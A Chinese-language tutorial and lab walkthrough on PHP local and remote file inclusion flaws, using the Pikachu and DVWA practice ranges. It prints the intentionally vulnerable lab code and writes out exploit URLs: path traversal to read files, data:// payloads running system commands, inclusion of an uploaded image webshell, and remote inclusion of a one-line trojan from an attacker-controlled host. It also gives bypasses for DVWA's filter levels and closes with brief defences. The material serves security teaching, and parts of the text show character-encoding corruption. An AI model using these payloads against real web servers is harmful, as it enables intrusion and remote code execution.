靶场地址:
https://github.com/digininja/DVWA https://github.com/zhuifengshaonianhanlu/pikachu
0x01基本概念
包含的定义
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,这种调用文件的过程一般称为包含。
文件包含的定义
程序开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用,当客户端调用的是一个恶意文件,文件包含漏洞就产生了,严格来说,文件包含漏洞属于代码注入的范畴。
注:
几乎所有的脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP中居多,因为PHP的文件包含功能十分强大。
相关函数
PHP提供了4个文件包含的函数,分别是
include() iclude_once() require() require_once()
require找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本; include找不到被包含的文件时会产生警告(E_WARRIG),脚本将继续执行; include_once:与include类似,唯一区别是如果该文件中的代码已被包含,则不会再次被包含; require_once: 与require类似,唯一区别是如果该文件中的代码已被包含,则不会再次被包含;
当使用这4个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP内核并不会在意该被包含的文件是什么类型。所以如果被包含的是.txt文件,图片文件,远程URL,也都将作为PHP代码执行。
条件
要想成功利用文件包含漏洞,需要满足下面两个条件:
(1) include()等函数通过动态变量的方式需要包含的文件; (2) 用户能够控制该动态变量。
0x02类型
本地文件包含(Local File Inclusion,简称LFI)
定义
仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
前提:
allow_url_include=On;
示例:
Pikachu靶场的本地文件包含漏洞
1. <?php 2. /** 3. * Created by runner.han 4. * There is nothing new under the sun 5. */ 6. 7. 8. $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); 9. 10. if ($SELF_PAGE = "fi_local.php"){ 11. $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','', 12. 'active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); 13. } 14. 15. $PIKA_ROOT_DIR = "../../"; 16. include_once $PIKA_ROOT_DIR . 'header.php'; 17. 18. 19. 20. $html=''; 21. if(isset($_GET['submit']) && $_GET['filename']!=null){ 22. $filename=$_GET['filename']; 23. include "include/$filename";//变量传进来直接包��?没做任何的安全限��?// //安全的写��?使用白名单,严格指定包含的文件名 24. // if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){ 25. // include "include/$filename"; 26. 27. // } 28. } 29. 30. 31. ?> 32. 33. 34. <div class="main-content"> 35. <div class="main-content-inner"> 36. <div class="breadcrumbs ace-save-state" id="breadcrumbs"> 37. <ul class="breadcrumb"> 38. <li> 39. <i class="ace-icon fa fa-home home-icon"></i> 40. <a href="fileinclude.php">file include</a> 41. </li> 42. <li class="active">本地文件包含</li> 43. </ul><!-- /.breadcrumb --> 44. <a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关��?" 45. data-content="先了解一下include()函数的用法吧"> 46. 点一下提示~ 47. </a> 48. </div> 49. <div class="page-content"> 50. 51. <div id=fi_main> 52. <p class="fi_title">which NBA player do you like?</p> 53. <form method="get"> 54. <select name="filename"> 55. <option value="">--------------</option> 56. <option value="file1.php">Kobe bryant</option> 57. <option value="file2.php">Allen Iverson</option> 58. <option value="file3.php">Kevin Durant</option> 59. <option value="file4.php">Tracy McGrady</option> 60. <option value="file5.php">Ray Allen</option> 61. </select> 62. <input class="sub" type="submit" name="submit" /> 63. </form> 64. <?php echo $html;?> 65. </div> 66. 67. 68. </div><!-- /.page-content --> 69. </div> 70. </div><!-- /.main-content --> 71. 72. 73. 74. 75. 76. <?php 77. include_once $PIKA_ROOT_DIR . 'footer.php'; 78. 79. ?>
从代码我们可以看出,程序将filename设置为了变量,可以包含本地的文件:
当filename为file1.php,file2.php,file3.php,file4.php,file5.php时均能正常显示;
http://10.1.8.8/pkc/vul/fileinclude/fi_local.php?filename=file1.php&submit=æ交查询
当filename为file6.php时,虽然程序中未设定file6.php文件名,但是由于靶机目录下存在file6.php的文件,当被包含时,会执行file6.php的内容:
当filename为file7.php,等其他不存在的文件名时,会提示错误,并且泄露网站的绝对路径信息:
由此对比我们可以得到本地文件包含的利用思路:
利用1,利用漏洞读取敏感文件;
例如:
网站根目录有phpinfo文件,
利用相对路径的方式,读取文件:
http://10.1.8.8/pkc/vul/fileinclude/fi_local.php?filename=…/…/…/…/phpinfo.php&submit=æ交查询
利用2. 配合文件上传,包含一句话木马,
(原理和思路1一样))
由于的文件都会被当成PHP文件来执行,若是存在文件上传功能,即使无法上传动态脚本文件,也可以将php一句话木马写到图片或者txt文件中上传,利用文件包含漏洞来包含这个上传的文件获取webshell。
示例:
2.png为包含一句话的图片马:
上传成功后路径为:
http://10.1.8.8/pkc/vul/unsafeupload/uploads/2.png
因此可以根据路径包含此图片马来getshell
http://10.1.8.8/pkc/vul/fileinclude/fi_local.php?filename=…/…/…/…/pkc/vul/unsafeupload/uploads/2.png&submit=æ交查询
远程文件包含(Remote File Inclusion,简称RFI)
定义:
能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码。攻击者可以远程包含一句话,直接获得webshell权限。
前提:
allow_url_include=On; allow_url_fopen=On;
示例
Pikachu远程文件包含漏洞:
1<?php 2. /** 3. * Created by runner.han 4. * There is nothing new under the sun 5. */ 6. 7. 8. $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); 9. 10. if ($SELF_PAGE = "fi_remote.php"){ 11. $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','', 12. 'active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); 13. } 14. 15. $PIKA_ROOT_DIR = "../../"; 16. include_once $PIKA_ROOT_DIR . 'header.php'; 17. 18. 19. $html1=''; 20. if(!ini_get('allow_url_include')){ 21. $html1.="<p style='color: red'>warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该漏��?记得修改��?重启中间件服��?</p>"; 22. } 23. $html2=''; 24. if(!ini_get('allow_url_fopen')){ 25. $html2.="<p style='color: red;'>warning:你的allow_url_fopen没有打开,请在php.ini中打开了再测试该漏��?重启中间件服��?</p>"; 26. } 27. $html3=''; 28. if(phpversion()<='5.3.0' && !ini_get('magic_quotes_gpc')){ 29. $html3.="<p style='color: red;'>warning:你的magic_quotes_gpc打开��?请在php.ini中关闭了再测试该漏洞,重启中间件服��?</p>"; 30. } 31. 32. 33. //远程文件包含漏洞,需要php.ini的配置文件符合相关的配置 34. $html=''; 35. if(isset($_GET['submit']) && $_GET['filename']!=null){ 36. $filename=$_GET['filename']; 37. include "$filename";//变量传进来直接包��?没做任何的安全限��? 38. 39. } 40. 41. 42. 43. ?> 44. 45. 46. <div class="main-content"> 47. <div class="main-content-inner"> 48. <div class="breadcrumbs ace-save-state" id="breadcrumbs"> 49. <ul class="breadcrumb"> 50. <li> 51. <i class="ace-icon fa fa-home home-icon"></i> 52. <a href="fileinclude.php">file include</a> 53. </li> 54. <li class="active">远程文件包含</li> 55. </ul><!-- /.breadcrumb --> 56. 57. <a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关��?" 58. data-content="先了解一下include()函数的用法吧"> 59. 点一下提示~ 60. </a> 61. </div> 62. <div class="page-content"> 63. 64. <div id=fi_main> 65. <p class="fi_title">which NBA player do you like?</p> 66. <form method="get"> 67. <select name="filename"> 68. <option value="">--------------</option> 69. <option value="include/file1.php">Kobe bryant</option> 70. <option value="include/file2.php">Allen Iverson</option> 71. <option value="include/file3.php">Kevin Durant</option> 72. <option value="include/file4.php">Tracy McGrady</option> 73. <option value="include/file5.php">Ray Allen</option> 74. </select> 75. <input class="sub" type="submit" name="submit" /> 76. </form> 77. <?php 78. echo $html1; 79. echo $html2; 80. echo $html3; 81. echo $html; 82. ?> 83. </div> 84. 85. </div><!-- /.page-content --> 86. </div> 87. </div><!-- /.main-content --> 88. 89. 90. 91. 92. 93. <?php 94. include_once $PIKA_ROOT_DIR . 'footer.php'; 95. 96. ?>
程序中,将文件名当做变量来包含,未做任何过滤,而且他执行的时候包含的是url格式,说明他可以包含URL。
利用1:利用php伪协议读取文件,执行命令,获取webshell
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
PHP伪协议,参照:https://www.php.net/manual/zh/wrappers.php
file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流
例如:file://
http://10.1.8.8/pkc/vul/fileinclude/fi_remote.php?filename=file://C:\phpStudy\WWW\phpinfo.php&submit=æ交查询
data://
http://10.1.8.8/pkc/vul/fileinclude/fi_remote.php?filename=data:text/plain,<?php phpinfo();?>&submit=æ交查询
可以利用伪协议执行任意系统命令:
http://10.1.8.8/pkc/vul/fileinclude/fi_remote.php?filename=data:text/plain,<?php system("whoami");?>&submit=æ交查询
利用2:包含shell:
包含之前靶机上传的图片马(配合文件上传):
http://
(1)可以包含本地的url路径的shell,例如包含之前上传的图片马:
http://10.1.8.8/pkc/vul/fileinclude/fi_remote.php?filename=http://10.1.8.8/pkc/vul/unsafeupload/uploads/2.png&submit=æ交查询
(2) 远程包含shell
如果可以联网的话,可以在包含自己公网VPS的shell;
局域网可以通信的话,也可以自己搭建一个服务让他包含自己的shell:
例如本机IP是10.1.8.1;靶机IP是10.1.8.8
在本机搭建PHP环境,在网站根目录放写有一句话木马的txt文件:
注意,
远程包含的一句话若是php后缀的则不成功。
http://10.1.8.8/pkc/vul/fileinclude/fi_remote.php?filename=http://10.1.8.1/yijuhua.txt&submit=æ交查询
0x03靶场练习
DVWA-LOW:
1. <?php 2. 3. // The page we wish to display 4. $file = $_GET[ 'page' ]; 5. 6. ?>
直接把获取变量:输入的文件名
利用1:绝对路径:
http://10.1.8.8/vulnerabilities/fi/?page=C:\phpStudy\WWW\phpinfo.php
利用2:相对路径:
http://10.1.8.8/vulnerabilities/fi/?page=…/…/phpinfo.php
利用3:PHP伪协议
http://10.1.8.8/vulnerabilities/fi/?page=file://C:\phpStudy\WWW\phpinfo.php
利用4:包含shell
包含之前靶机上传的图片马(配合文件上传):
http://10.1.8.8/vulnerabilities/fi/?page=http://10.1.8.8/pkc/vul/unsafeupload/uploads/2.png
远程包含shell:
http://10.1.8.8/vulnerabilities/fi/?page=http://10.1.8.1/yijuhua.txt
DVWA-MEDIUM:
1. File Inclusion Source 2. <?php 3. 4. // The page we wish to display 5. $file = $_GET[ 'page' ]; 6. 7. // Input validation 8. $file = str_replace( array( "http://", "https://" ), "", $file ); 9. $file = str_replace( array( "../", "..\"" ), "", $file ); 10. 11. ?>
程序中,与low等级的比较是,过滤了http://和https://;也过滤了…/和…
无法远程包含shell,无法使用相对路径.
利用1:绝对路径:
http://10.1.8.8/vulnerabilities/fi/?page=C:\phpStudy\WWW\phpinfo.php
来获取敏感信息,
利用2:PHP伪协议
http://10.1.8.8/vulnerabilities/fi/?page=data:text/plain,<?php system("whoami");?>
DVWA-HIGH:
1. <?php 2. 3. // The page we wish to display 4. $file = $_GET[ 'page' ]; 5. 6. // Input validation 7. if( !fnmatch( "file*", $file ) && $file != "include.php" ) { 8. // This isn't the page we want! 9. echo "ERROR: File not found!"; 10. exit; 11. } 12. 13. ?>
多了一段校验代码,page参数必须要以file开头
使用file://协议
http://10.1.8.8/vulnerabilities/fi/?page=file:///C:\phpStudy\WWW\phpinfo.php
0x04漏洞防御
1.严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
2.路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:“…/”;
3.包含文件验证:验证被包含的文件是否是白名单中的一员;
4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include(‘head.php’)。